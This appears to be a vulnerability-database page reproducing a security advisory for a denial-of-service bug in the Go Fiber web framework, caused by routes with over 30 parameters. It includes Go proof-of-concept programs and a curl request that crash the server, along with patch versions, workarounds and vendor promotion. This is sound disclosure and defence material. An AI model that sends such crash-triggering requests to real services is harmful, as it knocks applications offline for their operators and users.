Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-mrq8-rjmw-wpq3

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

Also known asCVE-2026-25882GO-2026-4543
Published
Feb 24, 2026
Updated
Feb 27, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk44th percentile+0.51%
0.00%0.36%0.73%1.09%0.0%0.1%0.1%0.1%0.6%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐹github.com/gofiber/fiber/v2🐹github.com/gofiber/fiber/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

Affected Versions

  • Fiber v3.0.0-rc.3 and earlier v3 releases
  • Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
  • Both versions share the same vulnerable routing implementation

Vulnerability Details

Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:

const maxParams = 30

type DefaultCtx struct {
    values [maxParams]string  // Fixed 30-element array
    // ...
}

The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:

  • v3: path.go:514
  • v2: path.go:516
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]

When paramsIterator >= 30, this triggers:

panic: runtime error: index out of range [30] with length 30

Attack Scenario

  1. Application registers route with >30 parameters (e.g., via code or dynamic routing):

    app.Get("/api/:p1/:p2/:p3/.../p35", handler)
    
  2. Attacker sends matching HTTP request:

    curl http://target/api/v1/v2/v3/.../v35
    
  3. Server crashes during request processing with runtime panic

Proof of Concept

For Fiber v3

package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v3"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9999")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9999/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}

Output:

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
	/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
	/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
	/path/to/fiber/router.go:142

For Fiber v2

package main

import (
	"fmt"
	"net/http"
	"time"
	"github.com/gofiber/fiber/v2"
)

func main() {
	app := fiber.New()
	
	// Register route with 35 parameters (exceeds maxParams=30)
	path := "/test"
	for i := 1; i <= 35; i++ {
		path += fmt.Sprintf("/:p%d", i)
	}
	
	fmt.Printf("Registering route: %s...\n", path[:50]+"...")
	app.Get(path, func(c *fiber.Ctx) error {
		return c.SendString("Never reached")
	})
	fmt.Println("✓ Registration succeeded (NO PANIC)")
	
	go func() {
		app.Listen(":9998")
	}()
	time.Sleep(200 * time.Millisecond)
	
	// Build exploit URL with 35 parameter values
	url := "http://localhost:9998/test"
	for i := 1; i <= 35; i++ {
		url += fmt.Sprintf("/v%d", i)
	}
	
	fmt.Println("\n🔴 Sending exploit request...")
	fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
	
	resp, err := http.Get(url)
	if err != nil {
		fmt.Printf("✗ Request failed: %v\n", err)
		fmt.Println("💥 Server crashed!")
	} else {
		fmt.Printf("Response: %d\n", resp.StatusCode)
		resp.Body.Close()
	}
}

Output (v2):

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
	/path/to/fiber/[email protected]/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
	/path/to/fiber/[email protected]/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
	/path/to/fiber/[email protected]/router.go:127

Impact

Exploitation Requirements

  • No authentication required
  • Single HTTP request triggers crash
  • Trivially scriptable for sustained DoS
  • Works against any route with >30 parameters

Real-World Impact

  • Public APIs: Remote DoS attacks on vulnerable endpoints
  • Microservices: Cascade failures if vulnerable service is critical
  • Auto-scaling: Repeated crashes prevent proper recovery
  • Monitoring: Log flooding and alert fatigue

Likelihood

HIGH - Exploitation requires only:

  • Knowledge of route structure (often public in APIs)
  • Standard HTTP client (curl, browser, etc.)
  • Single malformed request

Workarounds

Until patched, users should:

  1. Audit Routes: Ensure all routes have ≤30 parameters

    # Search for potential issues
    grep -r "/:.*/:.*/:.*" . | grep -v node_modules
    
  2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count:

    paramCount := strings.Count(route, ":")
    if paramCount > 30 {
        log.Fatal("Route exceeds maxParams")
    }
    
  3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact

  4. Monitoring: Alert on panic patterns in application logs

Timeline

  • 2024-12-24: Vulnerability discovered in v3 during PR #3962 review
  • 2024-12-25: Proof of concept confirmed exploitability in v3
  • 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
  • 2024-12-25: Security advisory created

References

Credit

Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gofiber/fiber/v2all versions2.52.12
🐹Gogithub.com/gofiber/fiber/v3all versions3.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gofiber/fiber/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gofiber/fiber/v2 to 2.52.12 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mrq8-rjmw-wpq3 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-mrq8-rjmw-wpq3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-mrq8-rjmw-wpq3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. ## Affected Versions - **Fiber v3.0.0-rc.3** and earlier v3 releases - **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation ## Vulnerability Details ### Root Cause Both Fiber v2 and v3 define a
O3 Security · Impact-Aware SCA

Is GHSA-mrq8-rjmw-wpq3 in your dependencies?

O3 detects GHSA-mrq8-rjmw-wpq3 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.